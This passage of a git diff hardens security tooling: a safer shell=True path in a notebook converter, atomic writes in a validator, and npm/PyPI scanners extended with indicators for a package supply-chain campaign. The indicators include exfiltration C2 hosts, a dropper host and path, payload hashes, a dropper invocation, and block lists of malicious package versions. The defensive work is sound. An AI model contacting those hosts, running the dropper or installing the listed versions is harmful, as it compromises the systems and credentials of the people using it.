f-string-interpolated, contains shell + metacharacters, or spans multiple lines, falling back to + `shell=True` is the only correct option -- `shlex.split` would + either drop operators or fail outright. We surface that with a + `# WARNING: shell=True; reviewed for hostile input` comment so a + reviewer cannot miss it. + + Otherwise we emit `subprocess.run(shlex.split(cmd), shell=False)` + so the converted script is not a re-injection vector if the + notebook ever interpolates user-controlled data. + + `allow_shell` defaults to True at the CLI for backwards + compatibility. Setting it to False makes `shell=True` emission a + hard error (no surprise behaviour). + """ + needs_f = needs_fstring(full_cmd) + has_meta = bool(_SHELL_METACHARS_RE.search(full_cmd)) + multiline = "\n" in full_cmd + + must_use_shell = needs_f or has_meta or multiline + + if must_use_shell: + if not allow_shell: + raise ValueError( + "Cell uses shell metacharacters / interpolation but " + "--no-allow-shell was set; refusing to emit shell=True" + ) + warn = f"{indent}# WARNING: shell=True; reviewed for hostile input" + f_prefix = "f" if needs_f else "" + if multiline: + escaped_cmd = full_cmd.replace('"""', r"\"\"\"") + if escaped_cmd.rstrip().endswith('"'): + escaped_cmd = escaped_cmd.rstrip() + " " + stmt = f'{indent}subprocess.run({f_prefix}"""{escaped_cmd}""", shell=True)' + else: + stmt = f"{indent}subprocess.run({f_prefix}{full_cmd!r}, shell=True)" + return [warn, stmt] + + # Shell-safe argv form. + return [f"{indent}subprocess.run(shlex.split({full_cmd!r}), shell=False)"] + + +def convert_cell_to_python(source: str, *, allow_shell: bool = True) -> str: """Convert a cell's IPython magics to plain Python.""" lines = source.split("\n") result = [] @@ -112,18 +186,9 @@ def convert_cell_to_python(source: str) -> str: cmd_lines.append(lines[i].strip()) full_cmd = "\n".join(cmd_lines) - f_prefix = "f" if needs_fstring(full_cmd) else "" - if "\n" in full_cmd: - escaped_cmd = full_cmd.replace('"""', r"\"\"\"") - if escaped_cmd.rstrip().endswith('"'): - escaped_cmd = escaped_cmd.rstrip() + " " - result.append( - f'{indent}subprocess.run({f_prefix}"""{escaped_cmd}""", shell=True)' - ) - else: - result.append( - f"{indent}subprocess.run({f_prefix}{full_cmd!r}, shell=True)" - ) + result.extend( + _emit_shell_command(indent, full_cmd, allow_shell = allow_shell) + ) # %cd path -> os.chdir(path) elif stripped.startswith("%cd "): @@ -154,7 +219,12 @@ def convert_cell_to_python(source: str) -> str: return "\n".join(result) -def convert_notebook(notebook_content: str, source_name: str = "notebook") -> str: +def convert_notebook( + notebook_content: str, + source_name: str = "notebook", + *, + allow_shell: bool = True, +) -> str: """Convert notebook JSON content to Python script.""" # Parse notebook if isinstance(notebook_content, str): @@ -167,6 +237,7 @@ def convert_notebook(notebook_content: str, source_name: str = "notebook") -> st "# coding: utf-8", f"# Converted from: {source_name}", "", + "import shlex", "import subprocess", "import os", "import sys", @@ -189,7 +260,7 @@ def convert_notebook(notebook_content: str, source_name: str = "notebook") -> st continue if cell.cell_type == "code": - converted = convert_cell_to_python(source) + converted = convert_cell_to_python(source, allow_shell = allow_shell) converted = replace_colab_paths(converted) lines.append(converted) lines.append("") @@ -215,13 +286,20 @@ def convert_notebook(notebook_content: str, source_name: str = "notebook") -> st return "\n".join(lines) -def convert_notebook_to_script(source: str, output_dir: str | None = None): +def convert_notebook_to_script( + source: str, + output_dir: str | None = None, + *, + allow_shell: bool = True, +): """ Convert a notebook to Python script. Args: source: Local file path or URL to notebook output_dir: Output directory (optional, defaults to current directory) + allow_shell: When False, refuse to emit `shell=True` for any + `!cmd` cell that uses metacharacters / interpolation. """ if is_url(source): content, filename = download_notebook(source) @@ -246,7 +324,7 @@ def convert_notebook_to_script(source: str, output_dir: str | None = None): output_path = output_filename # Convert - script = convert_notebook(content, source_name) + script = convert_notebook(content, source_name, allow_shell = allow_shell) # Write output with open(output_path, "w", encoding = "utf-8") as f: @@ -281,19 +359,56 @@ Examples: parser.add_argument( "-o", "--output", dest = "output_dir", default = ".", help = "Output directory." ) + # Default True for backwards compatibility: existing Colab notebooks + # routinely use pipes / redirection / interpolation in `!cmd` lines + # and the converted script needs to keep working. Operators who + # convert untrusted notebooks should pass --no-allow-shell to force + # a hard error on every metacharacter-bearing cell. + parser.add_argument( + "--allow-shell", + dest = "allow_shell", + action = "store_true", + default = True, + help = "Allow emitting subprocess.run(..., shell=True) for cells " + "that use shell metacharacters or interpolation (default).", + ) + parser.add_argument( + "--no-allow-shell", + dest = "allow_shell", + action = "store_false", + help = "Refuse to emit shell=True; cells with metacharacters error out.", + ) args = parser.parse_args() # Create output directory if needed os.makedirs(args.output_dir, exist_ok = True) + # SF2: track per-notebook failures so a CI invocation that converts + # 10 notebooks but silently fails on 3 is no longer reported as + # success. Each failure is collected and the loop continues so the + # caller sees the full set; final exit status is 1 if anything + # failed. + failures: list[tuple[str, str]] = [] + ok = 0 + total = len(args.notebooks) for source in args.notebooks: try: convert_notebook_to_script( - source, output_dir = args.output_dir if args.output_dir != "." else None + source, + output_dir = args.output_dir if args.output_dir != "." else None, + allow_shell = args.allow_shell, ) + ok += 1 except Exception as e: print(f"ERROR converting {source}: {e}") + failures.append((source, f"{type(e).__name__}: {e}")) + + print( + f"converted {ok}/{total}, {len(failures)} failed", + file = sys.stderr if failures else sys.stdout, + ) + sys.exit(1 if failures else 0) if __name__ == "__main__": diff --git a/scripts/notebook_validator.py b/scripts/notebook_validator.py index 79ceb48bf0..55a9203e0b 100644 --- a/scripts/notebook_validator.py +++ b/scripts/notebook_validator.py @@ -40,12 +40,38 @@ import re import shlex import subprocess import sys +import tempfile import textwrap import time import urllib.error import urllib.request from typing import Any, Iterable, Iterator + +def _atomic_write_bytes(path: pathlib.Path, data: bytes) -> None: + """Atomic write helper. See `scripts/scan_packages.py::update_req_file`. + + A crash between `mkstemp` and `os.replace` leaves the prior file + untouched, so a half-downloaded PyPI metadata cache file cannot + poison subsequent runs of the validator. + """ + path.parent.mkdir(parents = True, exist_ok = True) + dirpath = str(path.parent) or "." + fd, tmp_path = tempfile.mkstemp(prefix = ".nb_val.", dir = dirpath) + try: + with os.fdopen(fd, "wb") as handle: + handle.write(data) + handle.flush() + os.fsync(handle.fileno()) + os.replace(tmp_path, path) + except Exception: + try: + os.unlink(tmp_path) + except OSError: + pass + raise + + HERE = pathlib.Path(__file__).resolve().parent DATA_DIR = HERE / "data" PYPI_CACHE_DIR = DATA_DIR / "pypi_cache" @@ -388,7 +414,7 @@ def pypi_metadata(name: str, version: str) -> dict[str, Any] | None: data = json.loads(r.read()) except (urllib.error.URLError, urllib.error.HTTPError, TimeoutError): return None - path.write_text(json.dumps(data)) + _atomic_write_bytes(path, json.dumps(data).encode("utf-8")) return data @@ -863,47 +889,72 @@ def cmd_drift(args: argparse.Namespace) -> int: check = False, capture_output = True, ) - try: - proc = subprocess.run( - [sys.executable, str(update_script)], - cwd = nbdir, - capture_output = True, - text = True, - timeout = 600, - ) - except subprocess.TimeoutExpired: - print("FAIL: update_all_notebooks.py timed out (>600s)", file = sys.stderr) - return 2 - if proc.returncode != 0: - print( - f"FAIL: update_all_notebooks.py exited {proc.returncode}", file = sys.stderr - ) - sys.stderr.write(proc.stderr[-2000:]) - return 2 - diff_proc = subprocess.run( - ["git", "-C", str(nbdir), "diff", "--stat"], capture_output = True, text = True - ) + # SF3: the restore MUST run even on SystemExit / KeyboardInterrupt / + # segfault-propagated exception, otherwise the user's working tree + # silently stays rolled back into the stash. A bare try/finally + # (NOT try/except/finally) preserves the original exception and + # still runs the cleanup. The pre-existing try/except around + # `subprocess.run` of the updater is folded inside the new outer + # try so its early returns still happen, but the stash pop is + # protected. findings: list[Finding] = [] - if diff_proc.stdout.strip(): - for line in diff_proc.stdout.splitlines(): - findings.append( - Finding( - rule = "R-DRIFT-001", - file = line.strip(), - severity = "error", - message = "generator-vs-checked-in drift", - hint = "run `python update_all_notebooks.py` and commit the diff", - ) + rc: int + try: + try: + proc = subprocess.run( + [sys.executable, str(update_script)], + cwd = nbdir, + capture_output = True, + text = True, + timeout = 600, ) - # Restore. - subprocess.run( - ["git", "-C", str(nbdir), "checkout", "."], check = False, capture_output = True - ) - subprocess.run( - ["git", "-C", str(nbdir), "stash", "pop"], check = False, capture_output = True - ) + except subprocess.TimeoutExpired: + print( + "FAIL: update_all_notebooks.py timed out (>600s)", + file = sys.stderr, + ) + rc = 2 + else: + if proc.returncode != 0: + print( + f"FAIL: update_all_notebooks.py exited {proc.returncode}", + file = sys.stderr, + ) + sys.stderr.write(proc.stderr[-2000:]) + rc = 2 + else: + diff_proc = subprocess.run( + ["git", "-C", str(nbdir), "diff", "--stat"], + capture_output = True, + text = True, + ) + if diff_proc.stdout.strip(): + for line in diff_proc.stdout.splitlines(): + findings.append( + Finding( + rule = "R-DRIFT-001", + file = line.strip(), + severity = "error", + message = "generator-vs-checked-in drift", + hint = "run `python update_all_notebooks.py` and commit the diff", + ) + ) + rc = 0 if not findings else 1 + finally: + # Restore the working tree. Both commands MUST run regardless of + # how the try block exited (including SystemExit/KeyboardInterrupt). + subprocess.run( + ["git", "-C", str(nbdir), "checkout", "."], + check = False, + capture_output = True, + ) + subprocess.run( + ["git", "-C", str(nbdir), "stash", "pop"], + check = False, + capture_output = True, + ) _emit(findings) - return 0 if not findings else 1 + return rc # ----- Convert ----- # @@ -1096,7 +1147,7 @@ def cmd_refresh_colab(args: argparse.Namespace) -> int: except (urllib.error.URLError, urllib.error.HTTPError, TimeoutError) as e: print(f"FAIL: could not fetch {COLAB_PIP_FREEZE_URL}: {e}", file = sys.stderr) return 2 - out.write_bytes(data) + _atomic_write_bytes(out, data) print(f"wrote {len(data)} bytes to {out}") return 0 diff --git a/scripts/scan_npm_packages.py b/scripts/scan_npm_packages.py old mode 100755 new mode 100644 index 97b5ffa9a4..07eccdd716 --- a/scripts/scan_npm_packages.py +++ b/scripts/scan_npm_packages.py @@ -285,6 +285,250 @@ KNOWN_IOC_STRINGS: dict[str, tuple[str, str]] = { # Exfil hosts observed across both Shai-Hulud waves. "filev2.getsession.org": (CRITICAL, "exfiltration C2 host"), "getsession.org/file/": (CRITICAL, "exfiltration C2 endpoint"), + # Mini Shai-Hulud May-12 2026 wave additions. + "git-tanstack.com": (CRITICAL, "May-12 dropper host"), + "transformers.pyz": (HIGH, "May-12 PyPI dropper artifact"), + "/tmp/transformers.pyz": (CRITICAL, "May-12 dropper drop path"), + "With Love TeamPCP": (CRITICAL, "May-12 campaign signature"), + "We've been online over 2 hours": (CRITICAL, "May-12 campaign signature"), + # Aikido (May-12 wave): payload SHA-256 hashes published in IOCs. + "ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c": ( + HIGH, + "router_init.js payload SHA-256", + ), + "2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96": ( + HIGH, + "tanstack_runner.js payload SHA-256", + ), + # The new dependency vector: optional dep -> Bun-executed prepare script. + "bun run tanstack_runner.js": ( + CRITICAL, + "TanStack-wave Bun prepare-script dropper invocation", + ), + "@tanstack/setup": ( + CRITICAL, + "TanStack-wave optional-dep dropper carrier (no legit pkg of this name)", + ), +} + +# Hard pin-blocks for publicly confirmed malicious versions. +# name -> {malicious_versions...}. A match short-circuits the scan +# at the lockfile-walk stage; no tarball is fetched. +# keep in sync with scripts/lockfile_supply_chain_audit.py +BLOCKED_NPM_VERSIONS: dict[str, set[str]] = { + # GHSA-g7cv-rxg3-hmpx -- TanStack May-11 2026 (84 versions). + "@tanstack/arktype-adapter": {"1.166.12", "1.166.15"}, + "@tanstack/eslint-plugin-router": {"1.161.9", "1.161.12"}, + "@tanstack/eslint-plugin-start": {"0.0.4", "0.0.7"}, + "@tanstack/history": {"1.161.9", "1.161.12"}, + "@tanstack/nitro-v2-vite-plugin": {"1.154.12", "1.154.15"}, + "@tanstack/react-router": {"1.169.5", "1.169.8"}, + "@tanstack/react-router-devtools": {"1.166.16", "1.166.19"}, + "@tanstack/react-router-ssr-query": {"1.166.15", "1.166.18"}, + "@tanstack/react-start": {"1.167.68", "1.167.71"}, + "@tanstack/react-start-client": {"1.166.51", "1.166.54"}, + "@tanstack/react-start-rsc": {"0.0.47", "0.0.50"}, + "@tanstack/react-start-server": {"1.166.55", "1.166.58"}, + "@tanstack/router-cli": {"1.166.46", "1.166.49"}, + "@tanstack/router-core": {"1.169.5", "1.169.8"}, + "@tanstack/router-devtools": {"1.166.16", "1.166.19"}, + "@tanstack/router-devtools-core": {"1.167.6", "1.167.9"}, + "@tanstack/router-generator": {"1.166.45", "1.166.48"}, + "@tanstack/router-plugin": {"1.167.38", "1.167.41"}, + "@tanstack/router-ssr-query-core": {"1.168.3", "1.168.6"}, + "@tanstack/router-utils": {"1.161.11", "1.161.14"}, + "@tanstack/router-vite-plugin": {"1.166.53", "1.166.56"}, + "@tanstack/solid-router": {"1.169.5", "1.169.8"}, + "@tanstack/solid-router-devtools": {"1.166.16", "1.166.19"}, + "@tanstack/solid-router-ssr-query": {"1.166.15", "1.166.18"}, + "@tanstack/solid-start": {"1.167.65", "1.167.68"}, + "@tanstack/solid-start-client": {"1.166.50", "1.166.53"}, + "@tanstack/solid-start-server": {"1.166.54", "1.166.57"}, + "@tanstack/start-client-core": {"1.168.5", "1.168.8"}, + "@tanstack/start-fn-stubs": {"1.161.9", "1.161.12"}, + "@tanstack/start-plugin-core": {"1.169.23", "1.169.26"}, + "@tanstack/start-server-core": {"1.167.33", "1.167.36"}, + "@tanstack/start-static-server-functions": {"1.166.44", "1.166.47"}, + "@tanstack/start-storage-context": {"1.166.38", "1.166.41"}, + "@tanstack/valibot-adapter": {"1.166.12", "1.166.15"}, + "@tanstack/virtual-file-routes": {"1.161.10", "1.161.13"}, + "@tanstack/vue-router": {"1.169.5", "1.169.8"}, + "@tanstack/vue-router-devtools": {"1.166.16", "1.166.19"}, + "@tanstack/vue-router-ssr-query": {"1.166.15", "1.166.18"}, + "@tanstack/vue-start": {"1.167.61", "1.167.64"}, + "@tanstack/vue-start-client": {"1.166.46", "1.166.49"}, + "@tanstack/vue-start-server": {"1.166.50", "1.166.53"}, + "@tanstack/zod-adapter": {"1.166.12", "1.166.15"}, + # Mini Shai-Hulud May-12 wave: OpenSearch JS client. + "@opensearch-project/opensearch": {"3.5.3", "3.6.2", "3.7.0", "3.8.0"}, + # Mini Shai-Hulud May-12 wave: @squawk/* (22 packages, 5 versions each; + # https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral/). + "@squawk/airport-data": {"0.7.4", "0.7.5", "0.7.6", "0.7.7", "0.7.8"}, + "@squawk/airports": {"0.6.2", "0.6.3", "0.6.4", "0.6.5", "0.6.6"}, + "@squawk/airspace": {"0.8.1", "0.8.2", "0.8.3", "0.8.4", "0.8.5"}, + "@squawk/airspace-data": {"0.5.3", "0.5.4", "0.5.5", "0.5.6", "0.5.7"}, + "@squawk/airway-data": {"0.5.4", "0.5.5", "0.5.6", "0.5.7", "0.5.8"}, + "@squawk/airways": {"0.4.2", "0.4.3", "0.4.4", "0.4.5", "0.4.6"}, + "@squawk/fix-data": {"0.6.4", "0.6.5", "0.6.6", "0.6.7", "0.6.8"}, + "@squawk/fixes": {"0.3.2", "0.3.3", "0.3.4", "0.3.5", "0.3.6"}, + "@squawk/flight-math": {"0.5.4", "0.5.5", "0.5.6", "0.5.7", "0.5.8"}, + "@squawk/flightplan": {"0.5.2", "0.5.3", "0.5.4", "0.5.5", "0.5.6"}, + "@squawk/geo": {"0.4.4", "0.4.5", "0.4.6", "0.4.7", "0.4.8"}, + "@squawk/icao-registry": {"0.5.2", "0.5.3", "0.5.4", "0.5.5", "0.5.6"}, + "@squawk/icao-registry-data": {"0.8.4", "0.8.5", "0.8.6", "0.8.7", "0.8.8"}, + "@squawk/mcp": {"0.9.1", "0.9.2", "0.9.3", "0.9.4", "0.9.5"}, + "@squawk/navaid-data": {"0.6.4", "0.6.5", "0.6.6", "0.6.7", "0.6.8"}, + "@squawk/navaids": {"0.4.2", "0.4.3", "0.4.4", "0.4.5", "0.4.6"}, + "@squawk/notams": {"0.3.6", "0.3.7", "0.3.8", "0.3.9", "0.3.10"}, + "@squawk/procedure-data": {"0.7.3", "0.7.4", "0.7.5", "0.7.6", "0.7.7"}, + "@squawk/procedures": {"0.5.2", "0.5.3", "0.5.4", "0.5.5", "0.5.6"}, + "@squawk/types": {"0.8.1", "0.8.2", "0.8.3", "0.8.4", "0.8.5"}, + "@squawk/units": {"0.4.3", "0.4.4", "0.4.5", "0.4.6", "0.4.7"}, + "@squawk/weather": {"0.5.6", "0.5.7", "0.5.8", "0.5.9", "0.5.10"}, + # Mini Shai-Hulud May-12 wave: @uipath/* (64 packages, single version each; + # https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised). + "@uipath/apollo-react": {"4.24.5"}, + "@uipath/apollo-wind": {"2.16.2"}, + "@uipath/cli": {"1.0.1"}, + "@uipath/rpa-tool": {"0.9.5"}, + "@uipath/apollo-core": {"5.9.2"}, + "@uipath/filesystem": {"1.0.1"}, + "@uipath/solutionpackager-tool-core": {"0.0.34"}, + "@uipath/solution-tool": {"1.0.1"}, + "@uipath/maestro-tool": {"1.0.1"}, + "@uipath/codedapp-tool": {"1.0.1"}, + "@uipath/agent-tool": {"1.0.1"}, + "@uipath/orchestrator-tool": {"1.0.1"}, + "@uipath/integrationservice-tool": {"1.0.2"}, + "@uipath/rpa-legacy-tool": {"1.0.1"}, + "@uipath/vertical-solutions-tool": {"1.0.1"}, + "@uipath/flow-tool": {"1.0.2"}, + "@uipath/codedagent-tool": {"1.0.1"}, + "@uipath/common": {"1.0.1"}, + "@uipath/resource-tool": {"1.0.1"}, + "@uipath/auth": {"1.0.1"}, + "@uipath/docsai-tool": {"1.0.1"}, + "@uipath/case-tool": {"1.0.1"}, + "@uipath/api-workflow-tool": {"1.0.1"}, + "@uipath/test-manager-tool": {"1.0.2"}, + "@uipath/robot": {"1.3.4"}, + "@uipath/traces-tool": {"1.0.1"}, + "@uipath/agent-sdk": {"1.0.2"}, + "@uipath/integrationservice-sdk": {"1.0.2"}, + "@uipath/maestro-sdk": {"1.0.1"}, + "@uipath/data-fabric-tool": {"1.0.2"}, + "@uipath/tasks-tool": {"1.0.1"}, + "@uipath/insights-tool": {"1.0.1"}, + "@uipath/insights-sdk": {"1.0.1"}, + "@uipath/uipath-python-bridge": {"1.0.1"}, + "@uipath/ap-chat": {"1.5.7"}, + "@uipath/project-packager": {"1.1.16"}, + "@uipath/packager-tool-case": {"0.0.9"}, + "@uipath/packager-tool-workflowcompiler-browser": {"0.0.34"}, + "@uipath/packager-tool-connector": {"0.0.19"}, + "@uipath/packager-tool-workflowcompiler": {"0.0.16"}, + "@uipath/packager-tool-webapp": {"1.0.6"}, + "@uipath/packager-tool-apiworkflow": {"0.0.19"}, + "@uipath/packager-tool-functions": {"0.1.1"}, + "@uipath/widget.sdk": {"1.2.3"}, + "@uipath/resources-tool": {"0.1.11"}, + "@uipath/agent.sdk": {"0.0.18"}, + "@uipath/codedagents-tool": {"0.1.12"}, + "@uipath/aops-policy-tool": {"0.3.1"}, + "@uipath/solution-packager": {"0.0.35"}, + "@uipath/packager-tool-bpmn": {"0.0.9"}, + "@uipath/packager-tool-flow": {"0.0.19"}, + "@uipath/telemetry": {"0.0.7"}, + "@uipath/tool-workflowcompiler": {"0.0.12"}, + "@uipath/vss": {"0.1.6"}, + "@uipath/solutionpackager-sdk": {"1.0.11"}, + "@uipath/ui-widgets-multi-file-upload": {"1.0.1"}, + "@uipath/access-policy-tool": {"0.3.1"}, + "@uipath/context-grounding-tool": {"0.1.1"}, + "@uipath/gov-tool": {"0.3.1"}, + "@uipath/admin-tool": {"0.1.1"}, + "@uipath/identity-tool": {"0.1.1"}, + "@uipath/llmgw-tool": {"1.0.1"}, + "@uipath/resourcecatalog-tool": {"0.1.1"}, + "@uipath/functions-tool": {"1.0.1"}, + "@uipath/access-policy-sdk": {"0.3.1"}, + "@uipath/platform-tool": {"1.0.1"}, + # Mini Shai-Hulud May-12 wave: @mistralai/* (npm) — separate from PyPI mistralai + # (https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised). + "@mistralai/mistralai": {"2.2.2", "2.2.3", "2.2.4"}, + "@mistralai/mistralai-gcp": {"1.7.1", "1.7.2", "1.7.3"}, + "@mistralai/mistralai-azure": {"1.7.1", "1.7.2", "1.7.3"}, + # Mini Shai-Hulud May-12 wave: @tallyui/* (30 entries, 10 packages) + # (Aikido enumeration). + "@tallyui/components": {"1.0.1", "1.0.2", "1.0.3"}, + "@tallyui/connector-medusa": {"1.0.1", "1.0.2", "1.0.3"}, + "@tallyui/connector-shopify": {"1.0.1", "1.0.2", "1.0.3"}, + "@tallyui/connector-vendure": {"1.0.1", "1.0.2", "1.0.3"}, + "@tallyui/connector-woocommerce": {"1.0.1", "1.0.2", "1.0.3"}, + "@tallyui/core": {"0.2.1", "0.2.2", "0.2.3"}, + "@tallyui/database": {"1.0.1", "1.0.2", "1.0.3"}, + "@tallyui/pos": {"0.1.1", "0.1.2", "0.1.3"}, + "@tallyui/storage-sqlite": {"0.2.1", "0.2.2", "0.2.3"}, + "@tallyui/theme": {"0.2.1", "0.2.2", "0.2.3"}, + # Mini Shai-Hulud May-12 wave: @beproduct/nestjs-auth (18 versions) + # (Aikido enumeration). + "@beproduct/nestjs-auth": { + "0.1.2", + "0.1.3", + "0.1.4", + "0.1.5", + "0.1.6", + "0.1.7", + "0.1.8", + "0.1.9", + "0.1.10", + "0.1.11", + "0.1.12", + "0.1.13", + "0.1.14", + "0.1.15", + "0.1.16", + "0.1.17", + "0.1.18", + "0.1.19", + }, + # Mini Shai-Hulud May-12 wave: @draftlab/* + @draftauth/* + # (Aikido enumeration). + "@draftauth/client": {"0.2.1", "0.2.2"}, + "@draftauth/core": {"0.13.1", "0.13.2"}, + "@draftlab/auth": {"0.24.1", "0.24.2"}, + "@draftlab/auth-router": {"0.5.1", "0.5.2"}, + "@draftlab/db": {"0.16.1"}, + # Mini Shai-Hulud May-12 wave: @taskflow-corp/cli + @tolka/cli + # (Aikido enumeration). + "@taskflow-corp/cli": {"0.1.24", "0.1.25", "0.1.26", "0.1.27", "0.1.28", "0.1.29"}, + "@tolka/cli": {"1.0.2", "1.0.3", "1.0.4", "1.0.5", "1.0.6"}, + # Mini Shai-Hulud May-12 wave: @ml-toolkit-ts/* + @mesadev/* + @dirigible-ai/sdk + @supersurkhet/* + # (Aikido enumeration). + "@dirigible-ai/sdk": {"0.6.2", "0.6.3"}, + "@mesadev/rest": {"0.28.3"}, + "@mesadev/saguaro": {"0.4.22"}, + "@mesadev/sdk": {"0.28.3"}, + "@ml-toolkit-ts/preprocessing": {"1.0.2", "1.0.3"}, + "@ml-toolkit-ts/xgboost": {"1.0.3", "1.0.4"}, + "@supersurkhet/cli": {"0.0.2", "0.0.3", "0.0.4", "0.0.5", "0.0.6", "0.0.7"}, + "@supersurkhet/sdk": {"0.0.2", "0.0.3", "0.0.4", "0.0.5", "0.0.6", "0.0.7"}, + # Mini Shai-Hulud May-12 wave: Unscoped packages (10 entries) + # (Aikido enumeration). + "safe-action": {"0.8.3", "0.8.4"}, + "ts-dna": {"3.0.1", "3.0.2", "3.0.3", "3.0.4"}, + "cross-stitch": {"1.1.3", "1.1.4", "1.1.5", "1.1.6"}, + "cmux-agent-mcp": {"0.1.3", "0.1.4", "0.1.5", "0.1.6", "0.1.7", "0.1.8"}, + "agentwork-cli": {"0.1.4", "0.1.5"}, + "git-branch-selector": {"1.3.3", "1.3.4", "1.3.5", "1.3.6", "1.3.7"}, + "wot-api": {"0.8.1", "0.8.2", "0.8.3", "0.8.4"}, + "git-git-git": {"1.0.8", "1.0.9", "1.0.10", "1.0.11", "1.0.12"}, + "nextmove-mcp": {"0.1.3", "0.1.4", "0.1.5", "0.1.6", "0.1.7"}, + "ml-toolkit-ts": {"1.0.4", "1.0.5"}, + # Cross-ecosystem Mini Shai-Hulud (Apr-30 wave): npm counterpart of + # PyPI lightning 2.6.2/2.6.3. Same threat actor (TeamPCP) per Semgrep, + # Aikido, OX Security, Resecurity. Safe version: 7.0.3 and earlier. + "intercom-client": {"7.0.4"}, } # Cloud / k8s / CI credential surfaces. A bare substring match here @@ -1153,6 +1397,18 @@ def main(argv: list[str] | None = None) -> int: f"[scan-npm] [{i}/{len(entries)}] {pkg.display}", flush = True, ) + blocked = BLOCKED_NPM_VERSIONS.get(pkg.name, set()) + if pkg.version in blocked: + finding = Finding( + severity = CRITICAL, + package = pkg.display, + filename = "", + pattern = "blocked-known-malicious", + detail = f"{pkg.name}@{pkg.version} is on the BLOCKED_NPM_VERSIONS list", + ) + all_findings.append(finding) + print(str(finding), flush = True) + continue findings, err = scan_one(pkg, workspace) if err: hard_errors.append((pkg.display, err)) diff --git a/scripts/scan_packages.py b/scripts/scan_packages.py index f74368d58a..6779b634f7 100644 --- a/scripts/scan_packages.py +++ b/scripts/scan_packages.py @@ -65,6 +65,15 @@ MEDIUM = "MEDIUM" SEVERITY_ORDER = {CRITICAL: 0, HIGH: 1, MEDIUM: 2} +# Hard pin-blocks for publicly confirmed malicious PyPI versions. +# Source: Socket.dev 2026-05-12 disclosure (Mini Shai-Hulud May-12 wave) and +# earlier Semgrep / Endor reports for the `lightning` entries. +BLOCKED_PYPI_VERSIONS: dict[str, set[str]] = { + "guardrails-ai": {"0.10.1"}, + "mistralai": {"2.4.6"}, + "lightning": {"2.6.2", "2.6.3"}, +} + # --------------------------------------------------------------------------- # Pattern definitions # --------------------------------------------------------------------------- @@ -336,6 +345,15 @@ RE_TOKEN_REGEX = re.compile( r"|\bglpat-[0-9A-Za-z_-]{20,}", # GitLab PAT ) +# Mini Shai-Hulud May-12 2026 wave indicators. The dropper artifact name +# `transformers.pyz` is high-confidence (no legit PyPI package ships a `.pyz` +# named after `transformers`); the host + slogans are CRITICAL. +RE_MAY12_IOC = re.compile( + r"(git-tanstack\.com|/tmp/transformers\.pyz|transformers\.pyz" + r"|With Love TeamPCP|We've been online over 2 hours)", + re.IGNORECASE, +) + # JavaScript-side obfuscation. The npm chalk/debug compromise and the # Lightning router_runtime.js use the same minifier-style hex-var name # pattern; a bundle full of `_0x1f2e3d` identifiers is a near-universal @@ -529,6 +547,7 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: has_openssl_cli = bool(RE_OPENSSL_CLI.search(content)) has_temp_exec = bool(RE_TEMP_EXEC.search(content)) has_c2_polling = bool(RE_C2_POLLING.search(content)) + has_may12_ioc = bool(RE_MAY12_IOC.search(content)) # --------------------------------------------------------------- # CRITICAL: combination patterns that strongly indicate malice @@ -572,6 +591,18 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: ) ) + # May-12 Shai-Hulud IOC string in Python source. + if has_may12_ioc: + findings.append( + Finding( + CRITICAL, + package, + filename, + "May-12 Shai-Hulud IOC string present in Python file", + _extract_evidence(content, RE_MAY12_IOC), + ) + ) + # C2 polling/beaconing loop if has_c2_polling: findings.append( @@ -1071,6 +1102,16 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding] _extract_evidence(content, RE_WORKFLOW_INJECT), ) ) + if RE_MAY12_IOC.search(content): + findings.append( + Finding( + CRITICAL, + package, + filename, + "May-12 Shai-Hulud IOC string present in shell script", + _extract_evidence(content, RE_MAY12_IOC), + ) + ) return findings @@ -1111,6 +1152,16 @@ def check_workflow_file(content: str, filename: str, package: str) -> list[Findi _extract_evidence(content, RE_SHELL_DROPPER), ) ) + if RE_MAY12_IOC.search(content): + findings.append( + Finding( + CRITICAL, + package, + filename, + "May-12 Shai-Hulud IOC string present in workflow file", + _extract_evidence(content, RE_MAY12_IOC), + ) + ) return findings @@ -1118,33 +1169,154 @@ def check_workflow_file(content: str, filename: str, package: str) -> list[Findi # Archive handling # --------------------------------------------------------------------------- +# Tarbomb caps, mirrored from scripts/scan_npm_packages.py::safe_extract. +# Refuses zip-of-death / tar-of-death archives so a hostile sdist or +# wheel cannot exhaust memory or fill the temp dir before content +# scanning even starts. Keep these constants in sync with the npm side; +# we duplicate rather than import to keep `scan_packages.py` standalone. +HARD_MAX_FILE_BYTES = 64 * 1024 * 1024 # 64 MiB per member +HARD_MAX_TOTAL_BYTES = 512 * 1024 * 1024 # 512 MiB cumulative +HARD_MAX_MEMBERS = 50_000 # entries per archive + + +def _refuse_unsafe_member_name(name: str) -> str | None: + """Return a refusal reason for a member name, or None if safe. + + Mirrors `scan_npm_packages.py::safe_extract` semantics: no absolute + paths, no `..` traversal segments. The caller is responsible for + checking the resolved path lands inside the extract root, but for + iter_archive_files we never write to disk so the name-shape check + plus the in-memory size cap is sufficient. + """ + if name.startswith("/") or ".." in Path(name).parts: + return f"unsafe member name {name!r}" + return None + def iter_archive_files(archive_path: str): - """Yield (filename, text_content) for every file in a wheel/sdist.""" + """Yield (filename, text_content) for every file in a wheel/sdist. + + Streams members with size + count caps applied at the member level + so a tarbomb / zipbomb cannot blow up the scanner's memory budget. + On cap breach we emit a `[WARN]` log and short-circuit the archive. + """ path = Path(archive_path) if path.suffix == ".whl" or path.suffix == ".zip": + total = 0 + count = 0 with zipfile.ZipFile(path) as zf: for info in zf.infolist(): if info.is_dir(): continue + count += 1 + if count > HARD_MAX_MEMBERS: + print( + f" [WARN] {path.name}: refused; member count " + f"{count} exceeds cap {HARD_MAX_MEMBERS}", + file = sys.stderr, + ) + return + reason = _refuse_unsafe_member_name(info.filename) + if reason is not None: + print( + f" [WARN] {path.name}: refused member ({reason})", + file = sys.stderr, + ) + continue + # Declared (uncompressed) size cap. + if info.file_size > HARD_MAX_FILE_BYTES: + print( + f" [WARN] {path.name}: skipped {info.filename!r} " + f"(declared {info.file_size} > cap {HARD_MAX_FILE_BYTES})", + file = sys.stderr, + ) + continue + if total + info.file_size > HARD_MAX_TOTAL_BYTES: + print( + f" 